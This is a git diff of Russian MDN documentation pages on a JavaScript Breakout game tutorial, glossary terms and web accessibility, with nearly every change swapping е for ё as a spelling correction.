diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html
index f96c85e459..420347d83d 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html
@@ -23,7 +23,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyb
 var paddleWidth = 75;
 var paddleX = (canvas.width-paddleWidth)/2;
    -

    Здесь мы определяем высоту и ширину ракетки, и его начальную точку на оси X, для дальнейшего использования в расчетах. Давайте создадим функцию, которая будет рисовать ракетку на экране. Добавьте следующий блок после функции drawBall():

    +

    Здесь мы определяем высоту и ширину ракетки, и его начальную точку на оси X, для дальнейшего использования в расчётах. Давайте создадим функцию, которая будет рисовать ракетку на экране. Добавьте следующий блок после функции drawBall():

    function drawPaddle() {
     ctx.beginPath();
@@ -76,7 +76,7 @@ function keyUpHandler(e) {
 
 
    Когда мы нажимаем клавишу, эта информация хранится в переменной. Соответствующая переменная в каждом конкретном случае устанавливается в true. Когда клавиша отпущена, переменная устанавливается обратно в false.
    
 
-
    Обе функции принимают параметр, представленный переменной e. Из нее вы можете получить полезную информацию: key содержит информацию о нажатой клавише. Например, код 37 — это клавиша стрелка влево и 39 — стрелка вправо. Если стрелка влево нажата, то переменная leftPressed имеет значение true, когда кнопка отпущена, то переменная leftPressed имеет значение false. Та же схема со стрелкой вправо и переменной rightPressed.
    
+
    Обе функции принимают параметр, представленный переменной e. Из неё вы можете получить полезную информацию: key содержит информацию о нажатой клавише. Например, код 37 — это клавиша стрелка влево и 39 — стрелка вправо. Если стрелка влево нажата, то переменная leftPressed имеет значение true, когда кнопка отпущена, то переменная leftPressed имеет значение false. Та же схема со стрелкой вправо и переменной rightPressed.
    
 
 
    Логика перемещения ракетки
    
 
@@ -100,7 +100,7 @@ else if(leftPressed && paddleX > 0) {
 
 
    Позиция paddleX будет двигаться от 0 на левой стороне холста и canvas.width-paddleWidth на правой стороне. Это будет работать именно так, как нам нужно.
    
 
-
    Добавьте вышеприведенный блок кода в функцию draw() в самый конец, чуть выше закрывающей фигурной скобки.
    
+
    Добавьте вышеприведённый блок кода в функцию draw() в самый конец, чуть выше закрывающей фигурной скобки.
    
 
 
    Единственное, что осталось сделать сейчас, это вызвать drawPaddle() функцию внутри функции draw(), чтобы нарисовать ракетку на экране. Добавьте следующую строку внутрь функции draw(), чуть ниже строки, которая вызывает drawBall():
    
 
@@ -114,11 +114,11 @@ else if(leftPressed && paddleX > 0) {
 
    {{JSFiddleEmbed("https://jsfiddle.net/end3r/tgn3zscj/","","320")}}
    
 
 
    
-
    Упражнение: Сделайте скорость движения ракетки быстрее или медленнее, или измените ее размер.
    
+
    Упражнение: Сделайте скорость движения ракетки быстрее или медленнее, или измените её размер.
    
 
    
 
 
    Следующий шаг
    
 
-
    Теперь у нас есть что-то похожее на игру. Беда только в том, что пока вы можете лишь бесконечно бить мяч ракеткой. Это все изменится в пятой главе, Game over, когда мы начнем добавлять конечное состояние для нашей игры.
    
+
    Теперь у нас есть что-то похожее на игру. Беда только в том, что пока вы можете лишь бесконечно бить мяч ракеткой. Это все изменится в пятой главе, Game over, когда мы начнём добавлять конечное состояние для нашей игры.
    
 
 
    {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over")}}
    
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html
index f9993a8b31..cef5f1e065 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html
@@ -1,12 +1,12 @@
 ---
-title: Счет и выигрыш
+title: Счёт и выигрыш
 slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win
 tags:
   - JavaScript
   - Игры
   - Начинающий
   - Учебник
-  - счет
+  - счёт
 translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win
 ---
 
    {{GamesSidebar}}
    
@@ -19,9 +19,9 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score
 
    Это 8й шаг из 10 в Gamedev Canvas tutorial. Вы можете найти исходный код для этого урока по ссылке Gamedev-Canvas-workshop/lesson8.html.
    
 
 
-
    Уничтожение кирпичей действительно классно, но, чтобы быть еще более удивительным, игра должна присуждать очки за каждый кирпич, в который попадает игрок, и подсчитывать общий балл.
    
+
    Уничтожение кирпичей действительно классно, но, чтобы быть ещё более удивительным, игра должна присуждать очки за каждый кирпич, в который попадает игрок, и подсчитывать общий балл.
    
 
-
    Подсчет очков
    
+
    Подсчёт очков
    
 
 
    Если вы можете увидеть свои очки на протяжении всей игры, вы можете произвести впечатление на своих друзей. Вам нужна переменная для записи очков. Добавьте следующие данные в свой JavaScript, после остальных переменных:
    
 
@@ -35,7 +35,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score
     ctx.fillText("Score: "+score, 8, 20);
 }
    -

    Рисование текста на канве аналогично рисованию фигур. Определение шрифта выглядит точно так же, как и в CSS - вы можете установить размер и тип шрифта в {{domxref("CanvasRenderingContext2D.font","font()")}} методе. Затем используйте {{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} для установки цвета шрифта и  {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} для установки фактического текста, который будет помещен на канву, и где он будет размещен. Первым параметром является сам текст - приведенный выше код показывает текущее количество точек, а два последних параметра - это координаты, в которых текст будет помещен на канву.

    +

    Рисование текста на канве аналогично рисованию фигур. Определение шрифта выглядит точно так же, как и в CSS - вы можете установить размер и тип шрифта в {{domxref("CanvasRenderingContext2D.font","font()")}} методе. Затем используйте {{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} для установки цвета шрифта и  {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} для установки фактического текста, который будет помещён на канву, и где он будет размещён. Первым параметром является сам текст - приведённый выше код показывает текущее количество точек, а два последних параметра - это координаты, в которых текст будет помещён на канву.

    Чтобы начислять баллы каждый раз при ударе кирпича, добавьте строку в функцию collisionDetection(), чтобы увеличить значение переменной оценки каждый раз при обнаружении столкновения. Добавьте в код следующую выделенную строку:

    @@ -54,7 +54,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score } } -

    Вызов drawScore()из функции draw() позволяет обновить счет с каждым новым фреймом - добавьте следующую строку внутри draw(), чуть ниже вызова drawPaddle():

    +

    Вызов drawScore()из функции draw() позволяет обновить счёт с каждым новым фреймом - добавьте следующую строку внутри draw(), чуть ниже вызова drawPaddle():

    drawScore();
    diff --git a/files/ru/glossary/accessibility_tree/index.html b/files/ru/glossary/accessibility_tree/index.html index 7c91fe5077..bf33c08032 100644 --- a/files/ru/glossary/accessibility_tree/index.html +++ b/files/ru/glossary/accessibility_tree/index.html @@ -15,13 +15,13 @@ translation_of: Glossary/Accessibility_tree
    name
    -
    Как можно обратиться к нему? Например, ссылка с текстом "Подробнее" будет иметь name "Подробнее" (больше о том, как присваиваются имена в Спецификации Вычисления Доступных Имен и Описаний).
    +
    Как можно обратиться к нему? Например, ссылка с текстом "Подробнее" будет иметь name "Подробнее" (больше о том, как присваиваются имена в Спецификации Вычисления Доступных Имён и Описаний).
    description
    Как мы описываем  элемент, если хотим добавить что-нибудь к name? Описание таблицы может объяснить, какого рода информация, хранящаяся в ней.
    role
    Что это? Например, это кнопка, меню-навигация или список предметов?
    state
    -
    Имеет ли это структуру? Обдумайте "отмеченные/неотмеченные" для флажков, или "свернутое/развернутое" для элемента <summary>.
    +
    Имеет ли это структуру? Обдумайте "отмеченные/неотмеченные" для флажков, или "свёрнутое/развёрнутое" для элемента <summary>.

    Кроме этого, дерево специальных возможностей часто содержит информацию о том, что можно сделать с элементом: ссылку можно  посетить, текстовый ввод - заполнить и т.д.

    diff --git a/files/ru/glossary/algorithm/index.html b/files/ru/glossary/algorithm/index.html index 61cd5b1a56..502a76b84b 100644 --- a/files/ru/glossary/algorithm/index.html +++ b/files/ru/glossary/algorithm/index.html @@ -10,7 +10,7 @@ original_slug: Словарь/Algorithm ---

    Алгоритм - это независимая серия инструкций для выполнения функции.

    -

    Другими словами, алгоритм - это средство описания способа решения проблемы, чтобы ее можно было многократно решать людьми или машинами.  Компьютерные ученые сравнивают эффективность алгоритмов с помощью понятия «Алгоритмическая Сложность» или «Big O».

    +

    Другими словами, алгоритм - это средство описания способа решения проблемы, чтобы её можно было многократно решать людьми или машинами.  Компьютерные учёные сравнивают эффективность алгоритмов с помощью понятия «Алгоритмическая Сложность» или «Big O».

    Например:

    @@ -19,9 +19,9 @@ original_slug: Словарь/Algorithm
  27. Алгоритм сортировки часто используется в компьютерном программировании, чтобы объяснить машине, как сортировать данные.
    28. -

    Распространенными алгоритмами являются алгоритмы поиска пути, такие как задача коммивояжера, алгоритмы обхода дерева и так далее.

    +

    Распространёнными алгоритмами являются алгоритмы поиска пути, такие как задача коммивояжёра, алгоритмы обхода дерева и так далее.

    -

    Существуют также алгоритмы машинного обучения, такие как линейная регрессия, логистическая регрессия, дерево решений, случайный лес, машина опорных векторов, рекуррентная нейронная сеть (РНС), долгая краткосрочная память (LSTM), сверточная нейронная сеть (CNN), глубокая сверточная нейронная сеть и так далее.

    +

    Существуют также алгоритмы машинного обучения, такие как линейная регрессия, логистическая регрессия, дерево решений, случайный лес, машина опорных векторов, рекуррентная нейронная сеть (РНС), долгая краткосрочная память (LSTM), свёрточная нейронная сеть (CNN), глубокая свёрточная нейронная сеть и так далее.

    Узнать больше

    diff --git a/files/ru/glossary/application_context/index.html b/files/ru/glossary/application_context/index.html index 9989eea079..454a954ab1 100644 --- a/files/ru/glossary/application_context/index.html +++ b/files/ru/glossary/application_context/index.html @@ -10,6 +10,6 @@ original_slug: Словарь/application_context ---

    Контекст приложения - это  browsing context (контекст просмотра) верхнего уровня, к которому применяется манифест. 

    -

    Если контекст приложения создается в результате запроса агента пользователя на переход к глубинному связыванию, агент пользователя должен немедленно перейти к глубинному связыванию с включенной заменой. Иначе говоря, при создании контекста приложения, агент пользователя должен немедленно перейти к  начальному URL-адресу с включенной заменой.

    +

    Если контекст приложения создаётся в результате запроса агента пользователя на переход к глубинному связыванию, агент пользователя должен немедленно перейти к глубинному связыванию с включённой заменой. Иначе говоря, при создании контекста приложения, агент пользователя должен немедленно перейти к  начальному URL-адресу с включённой заменой.

    Обратите внимание, что начальный URL-адрес не обязательно является значением элемента start_url : пользователь или агент пользователя мог изменить его при добавлении приложения на главный экран или в закладки.

    diff --git a/files/ru/glossary/arpanet/index.html b/files/ru/glossary/arpanet/index.html index c4b205ef8a..43bdb1a016 100644 --- a/files/ru/glossary/arpanet/index.html +++ b/files/ru/glossary/arpanet/index.html @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Arpanet original_slug: Словарь/Arpanet --- -

    Компьютерная сеть ARPAnet (advanced research projects agency network) является одной из первых компьютерных сетей, была создана в 1969 как надежная среда для передачи конфиденциальных военных данных и для подключения ведущих исследовательских групп по всей территории Соединенных Штатов. Изначально ARPAnet использовал NCP (протокол сетевого управления), а затем первую версию интернет-протокола или пакета {{glossary ("TCP")}} / {{glossary ("IPv6", "IP")}}, что делает ARPAnet выдающейся частью зарождающегося {{glossary("Internet","Интернета")}}. ARPAnet была закрыта в начале 1990 года.

    +

    Компьютерная сеть ARPAnet (advanced research projects agency network) является одной из первых компьютерных сетей, была создана в 1969 как надёжная среда для передачи конфиденциальных военных данных и для подключения ведущих исследовательских групп по всей территории Соединённых Штатов. Изначально ARPAnet использовал NCP (протокол сетевого управления), а затем первую версию интернет-протокола или пакета {{glossary ("TCP")}} / {{glossary ("IPv6", "IP")}}, что делает ARPAnet выдающейся частью зарождающегося {{glossary("Internet","Интернета")}}. ARPAnet была закрыта в начале 1990 года.

    Подробнее

    diff --git a/files/ru/glossary/array/index.html b/files/ru/glossary/array/index.html index 7118101680..c9c0d9779a 100644 --- a/files/ru/glossary/array/index.html +++ b/files/ru/glossary/array/index.html @@ -9,7 +9,7 @@ tags: translation_of: Glossary/array original_slug: Словарь/Массив --- -

    Массив это упорядоченный набор информации (смотрите еще {{Glossary("Примитив")}} или {{Glossary("Объект")}} зависит от языка). Массивы используются, что сохранять множество значений или единичные переменные. Это относится к переменным, которые могут сохранять только одно значение.

    +

    Массив это упорядоченный набор информации (смотрите ещё {{Glossary("Примитив")}} или {{Glossary("Объект")}} зависит от языка). Массивы используются, что сохранять множество значений или единичные переменные. Это относится к переменным, которые могут сохранять только одно значение.

    Каждому элементу в массиве соответствует свой номер, называется он индексом, который позволяет получить к нему доступ. В JavaScript, массивы начинаются с индекса ноль и их можно изменять различными методами( Словарь:{{Glossary("Method", " Методы")}}).

    diff --git a/files/ru/glossary/asynchronous/index.html b/files/ru/glossary/asynchronous/index.html index 573b4a3d93..ca01915a68 100644 --- a/files/ru/glossary/asynchronous/index.html +++ b/files/ru/glossary/asynchronous/index.html @@ -12,7 +12,7 @@ original_slug: Словарь/Asynchronous

    Это может использовать для описания такой среды связи, как e-mail — отправитель отправляет сообщение, а получатель ответит на него, когда ему будет удобно; они не должны отвечать немедленно.

    -

    Это также можно использовать, для описания программной среды связи, например, {{domxref("Ajax")}} это асинхронный механизм для запроса небольшого объема данных через протокол HTTP; результат отправляется обратно, когда ответ будет сформирован, а не сразу.

    +

    Это также можно использовать, для описания программной среды связи, например, {{domxref("Ajax")}} это асинхронный механизм для запроса небольшого объёма данных через протокол HTTP; результат отправляется обратно, когда ответ будет сформирован, а не сразу.

    Смотрите также

    diff --git a/files/ru/glossary/baseline/index.html b/files/ru/glossary/baseline/index.html index 23db6e40c5..78cfee2a65 100644 --- a/files/ru/glossary/baseline/index.html +++ b/files/ru/glossary/baseline/index.html @@ -12,7 +12,7 @@ original_slug: Словарь/baseline ---

    Базовая линия - это термин, используемый в европейской и западно-азиатской типографии, означающий воображаемую линию, на которую опираются символы шрифта.

    -

    Потомки символов типа g и p простираются ниже этой строки. {{Glossary("glyph", "Глифы")}} с закругленными нижними и верхними окончаниями типа C или 3 слегка простираются под ним.

    +

    Потомки символов типа g и p простираются ниже этой строки. {{Glossary("glyph", "Глифы")}} с закруглёнными нижними и верхними окончаниями типа C или 3 слегка простираются под ним.

    Восточно-азиатские шрифты не имеют исходной линии. Их глифы помещаются в квадратную коробку без восходов и исходов.

    diff --git a/files/ru/glossary/block/scripting/index.html b/files/ru/glossary/block/scripting/index.html index 0a75dfa2e1..317d607cfd 100644 --- a/files/ru/glossary/block/scripting/index.html +++ b/files/ru/glossary/block/scripting/index.html @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Block/Scripting original_slug: Glossary/Block/Скриптинг --- -

    В {{glossary("JavaScript")}} блок это набор связанных {{glossary("statement","statements")}} заключенных в скобки ("{}"). Например, можно поместить блок инструкций после блока {{jsxref("Statements/if...else","if (condition)")}}, чтобы интерпретатор выполнял код в блоке, если условие имеет значение true, или пропускал целый блок, если значение условия false.

    +

    В {{glossary("JavaScript")}} блок это набор связанных {{glossary("statement","statements")}} заключённых в скобки ("{}"). Например, можно поместить блок инструкций после блока {{jsxref("Statements/if...else","if (condition)")}}, чтобы интерпретатор выполнял код в блоке, если условие имеет значение true, или пропускал целый блок, если значение условия false.

    Узнай больше

    diff --git a/files/ru/glossary/boolean/index.html b/files/ru/glossary/boolean/index.html index 239f003788..312080e28c 100644 --- a/files/ru/glossary/boolean/index.html +++ b/files/ru/glossary/boolean/index.html @@ -13,7 +13,7 @@ original_slug: Словарь/Boolean ---

    Boolean (Булев, Логический тип данных) — примитивный тип данных в информатике, которые могут принимать два возможных значения, иногда называемых истиной (true) и ложью (false). Например, в JavaScript Булевы состояния часто используются для того, чтобы определить какие части кода выполнять (например, в операторах if) или повторять (например, циклы for).

    -

    Ниже приведен некоторый псевдокод JavaScript (это не действительно исполняемый код), демонстрирующий эту концепцию.

    +

    Ниже приведён некоторый псевдокод JavaScript (это не действительно исполняемый код), демонстрирующий эту концепцию.

    Пример использования оператора if:

    diff --git a/files/ru/glossary/bootstrap/index.html b/files/ru/glossary/bootstrap/index.html index 7b85ce61f6..af4bc7fb53 100644 --- a/files/ru/glossary/bootstrap/index.html +++ b/files/ru/glossary/bootstrap/index.html @@ -12,7 +12,7 @@ original_slug: Словарь/Bootstrap ---

    Bootstrap - это бесплатный фреймворк {{Glossary("HTML")}} , {{Glossary("CSS")}} и {{Glossary("JavaScript")}} с открытым исходным кодом для быстрого создания адаптивных веб-сайтов.

    -

    Изначально Bootstrap назывался Twitter Blueprint и был разработан командой, работающей в Twitter. Он поддерживает адаптивный дизайн и имеет предопределенные шаблоны дизайна, которые вы можете использовать из коробки или настроить для своих нужд с помощью кода. Вам также не нужно беспокоиться о совместимости с другими браузерами, так как Bootstrap совместим со всеми современными браузерами и новыми версиями {{glossary("Microsoft Internet Explorer", "Internet Explorer")}} .

    +

    Изначально Bootstrap назывался Twitter Blueprint и был разработан командой, работающей в Twitter. Он поддерживает адаптивный дизайн и имеет предопределённые шаблоны дизайна, которые вы можете использовать из коробки или настроить для своих нужд с помощью кода. Вам также не нужно беспокоиться о совместимости с другими браузерами, так как Bootstrap совместим со всеми современными браузерами и новыми версиями {{glossary("Microsoft Internet Explorer", "Internet Explorer")}} .

    - +
    ИмяСокращенный операторСокращённый оператор Смысл
    Цели:Приобрести хорошую осведомленность при использовании CSS и JavaScript в ваших web документах для максимального увеличения доступности и (not detract from it)-(привет я не понял как переводится эти слова так что помогите если понимаете).Приобрести хорошую осведомлённость при использовании CSS и JavaScript в ваших web документах для максимального увеличения доступности и (not detract from it)-(привет я не понял как переводится эти слова так что помогите если понимаете).
    diff --git a/files/ru/learn/accessibility/html/index.html b/files/ru/learn/accessibility/html/index.html index bc6289bc1f..cf6f72f855 100644 --- a/files/ru/learn/accessibility/html/index.html +++ b/files/ru/learn/accessibility/html/index.html @@ -386,7 +386,7 @@ original_slug: Learn/Доступность/HTML

    -

    Как бонус, в большинстве браузеров привязка описания к полю ввода означает, что вы можете щелкнуть по описанию, чтобы выбрать/активировать элемент формы. Это облегчает нажатие на элемент формы из-за увеличенной зоны нажатия.

    +

    Как бонус, в большинстве браузеров привязка описания к полю ввода означает, что вы можете щёлкнуть по описанию, чтобы выбрать/активировать элемент формы. Это облегчает нажатие на элемент формы из-за увеличенной зоны нажатия.

    Примечание: Посмотреть на хорошие и плохие пример форм можно на good-form.html и bad-form.html.

    diff --git a/files/ru/learn/accessibility/index.html b/files/ru/learn/accessibility/index.html index 36a072e071..ddaa937807 100644 --- a/files/ru/learn/accessibility/index.html +++ b/files/ru/learn/accessibility/index.html @@ -12,7 +12,7 @@ original_slug: Learn/Доступность ---
    {{LearnSidebar}}
    -

    Изучение HTML, CSS, и JavaScript полезно, если вы хотите стать веб-разработчиком, но ваши знания должны быть глубже обычного использования технологий — вы должны быть ответственны и максимизировать доступность ваших веб-приложений, не лишая никого возможности их использования. Чтобы достигнуть этого, вы можете следовать общепринятым лучшим практикам (которые демонстрируются в статьях посвященных HTML, CSS и JavaScript), проводить кросс-браузерное тестирование и обращать внимание на доступность с самого начала. В этом модуле мы рассмотрим эту тему в деталях.

    +

    Изучение HTML, CSS, и JavaScript полезно, если вы хотите стать веб-разработчиком, но ваши знания должны быть глубже обычного использования технологий — вы должны быть ответственны и максимизировать доступность ваших веб-приложений, не лишая никого возможности их использования. Чтобы достигнуть этого, вы можете следовать общепринятым лучшим практикам (которые демонстрируются в статьях посвящённых HTML, CSS и JavaScript), проводить кросс-браузерное тестирование и обращать внимание на доступность с самого начала. В этом модуле мы рассмотрим эту тему в деталях.

    Прежде чем начать

    @@ -43,8 +43,8 @@ original_slug: Learn/Доступность

    Проверка знаний

    -
    Найди недочеты в доступности
    -
    В этом блоке представлен достаточно простой сайт, в котором, однако, есть множество недочетов в доступности. Необходимо найти их и починить.
    +
    Найди недочёты в доступности
    +
    В этом блоке представлен достаточно простой сайт, в котором, однако, есть множество недочётов в доступности. Необходимо найти их и починить.

    Также советуем посмотреть

    diff --git a/files/ru/learn/accessibility/wai-aria_basics/index.html b/files/ru/learn/accessibility/wai-aria_basics/index.html index 6155128bbd..e4bbc9d1f9 100644 --- a/files/ru/learn/accessibility/wai-aria_basics/index.html +++ b/files/ru/learn/accessibility/wai-aria_basics/index.html @@ -27,19 +27,19 @@ original_slug: Learn/Доступность/WAI-ARIA_basics

    Что такое WAI-ARIA?

    -

    Давайте начнем с рассмотрения того, что такое WAI-ARIA и чем она может быть полезна.

    +

    Давайте начнём с рассмотрения того, что такое WAI-ARIA и чем она может быть полезна.

    Новый набор проблем

    С тех пор как веб-приложения стали более сложными и динамичными, появились новые специальные возможности и проблемы.

    -

    Например, HTML5 ввел ряд семантических элементов, чтобы определить общую разметку страниц ( <nav>, <footer>и т.д.). До того как они были доступны, разработчики просто использовали <div> с идентификаторами или классами, например <div class="nav">, но это создавало проблемы, так как не было никакого простого способа найти определенный раздел страницы программным способом.

    +

    Например, HTML5 ввёл ряд семантических элементов, чтобы определить общую разметку страниц ( <nav>, <footer>и т.д.). До того как они были доступны, разработчики просто использовали <div> с идентификаторами или классами, например <div class="nav">, но это создавало проблемы, так как не было никакого простого способа найти определённый раздел страницы программным способом.

    -

    Первоначальным решением было добавить одну или несколько скрытых ссылок вверху страницы для ссылки на навигацию (или на что-то еще), например:

    +

    Первоначальным решением было добавить одну или несколько скрытых ссылок вверху страницы для ссылки на навигацию (или на что-то ещё), например:

    <a href="#hidden" class="hidden">Skip to navigation</a>
    -

    Но это все еще не очень точно, и может использоваться только тогда, когда программа чтения с экрана читает сверху страницы.

    +

    Но это все ещё не очень точно, и может использоваться только тогда, когда программа чтения с экрана читает сверху страницы.

    В качестве другого примера, в приложения стали использовать сложные элементы управления, такие как поля выбора даты, ползунки для выбора значений и т.д. HTML5 предоставляет специальные типы ввода для отображения таких элементов управления:

    diff --git a/files/ru/learn/accessibility/what_is_accessibility/index.html b/files/ru/learn/accessibility/what_is_accessibility/index.html index 16207ced8b..a4d3e3e2bc 100644 --- a/files/ru/learn/accessibility/what_is_accessibility/index.html +++ b/files/ru/learn/accessibility/what_is_accessibility/index.html @@ -77,7 +77,7 @@ original_slug: Learn/Доступность/What_is_accessibility

     

    -

    Что касается статистики: по оценкам Всемирной Организации Здравоохранения: "285 миллионов человек во всем мире страдают нарушениями зрения: 39 миллионов слепы и 246 имеют слабовидение." (см. Нарушения зрения и слепота). Это большая и значительная группа пользователей, которые просто упущены, потому что ваш сайт не закодирован должным образом — почти такой же размер, как и население Соединенных Штатов Америки.

    +

    Что касается статистики: по оценкам Всемирной Организации Здравоохранения: "285 миллионов человек во всем мире страдают нарушениями зрения: 39 миллионов слепы и 246 имеют слабовидение." (см. Нарушения зрения и слепота). Это большая и значительная группа пользователей, которые просто упущены, потому что ваш сайт не закодирован должным образом — почти такой же размер, как и население Соединённых Штатов Америки.

    Люди с нарушениями слуха

    @@ -89,7 +89,7 @@ original_slug: Learn/Доступность/What_is_accessibility

    Люди с ограниченными физическими возможностями 

    -

    Это группа людей, которые имеют инвалидность в отношении движения, которая может включать в себя чисто физические проблемы (такие как потеря конечности или паралич), или неврологические/генетические расстройства, которые приводят к слабости или потере контроля в конечностях. Некоторые люди могут испытывать трудности с выполнением точных движений рук, необходимых для использования мыши, в то время как другие могут быть более серьезно затронуты, возможно, значительно парализованы до такой степени, что им нужно использовать указатель головы для взаимодействия с компьютером.

    +

    Это группа людей, которые имеют инвалидность в отношении движения, которая может включать в себя чисто физические проблемы (такие как потеря конечности или паралич), или неврологические/генетические расстройства, которые приводят к слабости или потере контроля в конечностях. Некоторые люди могут испытывать трудности с выполнением точных движений рук, необходимых для использования мыши, в то время как другие могут быть более серьёзно затронуты, возможно, значительно парализованы до такой степени, что им нужно использовать указатель головы для взаимодействия с компьютером.

    Этот вид инвалидности также может быть результатом старости, а не какой-либо конкретной травмы или состояния, а также может быть результатом аппаратных ограничений — у некоторых пользователей может не быть мыши.

    @@ -101,7 +101,7 @@ original_slug: Learn/Доступность/What_is_accessibility

    Вероятно, самый широкий спектр инвалидности можно увидеть в этой категории — когнитивные нарушения в широком смысле могут относиться к инвалидности от психических заболеваний до трудностей в обучении, трудности в понимании и концентрации, такие как СДВГ (синдром дефицита внимания и гиперактивности), людям аутистического спектра, людям с шизофренией, и множество других типов нарушений. Такие недостатки могут повлиять на многие детали повседневной жизни из-за проблем с памятью, решением, пониманием, вниманием и т. д.

    -

    Наиболее распространенные способы, вызванные когнитивными нарушениями, которые могут повлиять на использование веб-сайта — трудности с пониманием того, как выполнить задачу; вспомнить, как сделать что-то, что было ранее выполнено; повышенное разочарование в запутанных рабочих процессах или непоследовательных макетах/навигации/других функциях страницы.

    +

    Наиболее распространённые способы, вызванные когнитивными нарушениями, которые могут повлиять на использование веб-сайта — трудности с пониманием того, как выполнить задачу; вспомнить, как сделать что-то, что было ранее выполнено; повышенное разочарование в запутанных рабочих процессах или непоследовательных макетах/навигации/других функциях страницы.

    В отличие от других проблем доступности интернета, невозможно назначить быстрые исправления для многих проблем доступности, связанных с когнитивными нарушениями; лучшее решение, которое у вас есть — это проектировать веб-сайты таким образом, чтобы они были логичными, последовательными и удобными для использования настолько, насколько это возможно. Например, убедитесь, что:

    @@ -113,12 +113,12 @@ original_slug: Learn/Доступность/What_is_accessibility
  28. страницы не слишком длинные или плотные с точки зрения количества информации, представленной сразу.
  29. язык, используемый на ваших страницах, настолько прост и удобен, насколько это возможно, и не полон ненужного жаргона и сленга.
  30. важные моменты и контент выделены некоторым способом.
    31. -
  31. ошибки пользователя четко выделены, с подсказкой и предлагаемым решением.
    32. +
  32. ошибки пользователя чётко выделены, с подсказкой и предлагаемым решением.

    33. Это не "методы доступности" как таковые — это хорошая практика проектирования. Они принесут пользу всем, кто использует ваши сайты, и должны быть стандартной частью вашей работы.

    -

    С точки зрения статистики, опять же цифры значительны. Отчет Корнелльского университета О состоянии инвалидности за 2014 год (PDF, 511 КБ)(en) показывает, что в 2014 году 4,5% людей в США в возрасте 21-64 лет имели ту или иную форму когнитивной инвалидности.

    +

    С точки зрения статистики, опять же цифры значительны. Отчёт Корнелльского университета О состоянии инвалидности за 2014 год (PDF, 511 КБ)(en) показывает, что в 2014 году 4,5% людей в США в возрасте 21-64 лет имели ту или иную форму когнитивной инвалидности.

    Примечание: Страница о когнитивных расстройствах на WebAIM обеспечивает полезное распространение этих идей, и это, безусловно, стоит прочитать.

    @@ -126,7 +126,7 @@ original_slug: Learn/Доступность/What_is_accessibility

    Реализация доступности в проекте

    -

    Распространенный миф о доступности заключается в том, что доступность является дорогостоящим "дополнением" для реализации проекта. Этот миф на самом деле может быть правдой, если:

    +

    Распространённый миф о доступности заключается в том, что доступность является дорогостоящим "дополнением" для реализации проекта. Этот миф на самом деле может быть правдой, если:

    • Вы пытаетесь "модифицировать" доступность на существующем сайте, который имеет значительные проблемы в этом плане.
      • @@ -143,13 +143,13 @@ original_slug: Learn/Доступность/What_is_accessibility
    • Мои интерфейсные кнопки доступны с помощью клавиатуры и сенсорного интерфейса?
    -

    Вы можете и должны хранить заметку о потенциальных проблемных местах в контенте, которые будут нуждаться в доработке, чтобы сделать их доступными, убедитесь, что они тщательно протестированы, и подумайте о решениях/альтернативах. Текстовый контент (как вы увидите в следующей статье) довольно прост, но как насчет вашего мультимедийного контента, и красивой 3D-графики? Вы должны смотреть на свой бюджет проекта и реально думать о том, какие решения у вас есть, чтобы сделать такой контент доступным? Вы можете заплатить за расшифровку всего вашего мультимедийного контента, это может быть дорогостоящим, но будет сделано.

    +

    Вы можете и должны хранить заметку о потенциальных проблемных местах в контенте, которые будут нуждаться в доработке, чтобы сделать их доступными, убедитесь, что они тщательно протестированы, и подумайте о решениях/альтернативах. Текстовый контент (как вы увидите в следующей статье) довольно прост, но как насчёт вашего мультимедийного контента, и красивой 3D-графики? Вы должны смотреть на свой бюджет проекта и реально думать о том, какие решения у вас есть, чтобы сделать такой контент доступным? Вы можете заплатить за расшифровку всего вашего мультимедийного контента, это может быть дорогостоящим, но будет сделано.

    -

    Кроме того, будьте реалистами. "100% доступность" является недостижимым идеалом — вы всегда столкнетесь с каким-то случаем, который приводёт к тому, что определенный пользователь найдёт определенный контент трудным в использовании, но вы должны сделать столько, сколько сможете. Если вы планируете использовать трехмерную круговую диаграмму, созданную с помощью WebGL, вы можете включить таблицу данных в качестве доступного альтернативного представления данных. Или, вы можете просто включить таблицу и избавиться от 3D круговой диаграммы-таблица доступна для всех, быстрее кодировать, меньше ресурсов процессора, и проще в обслуживании.

    +

    Кроме того, будьте реалистами. "100% доступность" является недостижимым идеалом — вы всегда столкнётесь с каким-то случаем, который приводёт к тому, что определённый пользователь найдёт определённый контент трудным в использовании, но вы должны сделать столько, сколько сможете. Если вы планируете использовать трёхмерную круговую диаграмму, созданную с помощью WebGL, вы можете включить таблицу данных в качестве доступного альтернативного представления данных. Или, вы можете просто включить таблицу и избавиться от 3D круговой диаграммы-таблица доступна для всех, быстрее кодировать, меньше ресурсов процессора, и проще в обслуживании.

    -

    С другой стороны, если вы работаете на веб-сайте галереи с интересным трехмерным искусством, было бы неразумно ожидать, что каждое произведение искусства будет идеально доступно для людей с нарушениями зрения, учитывая, что это полностью визуальная среда.

    +

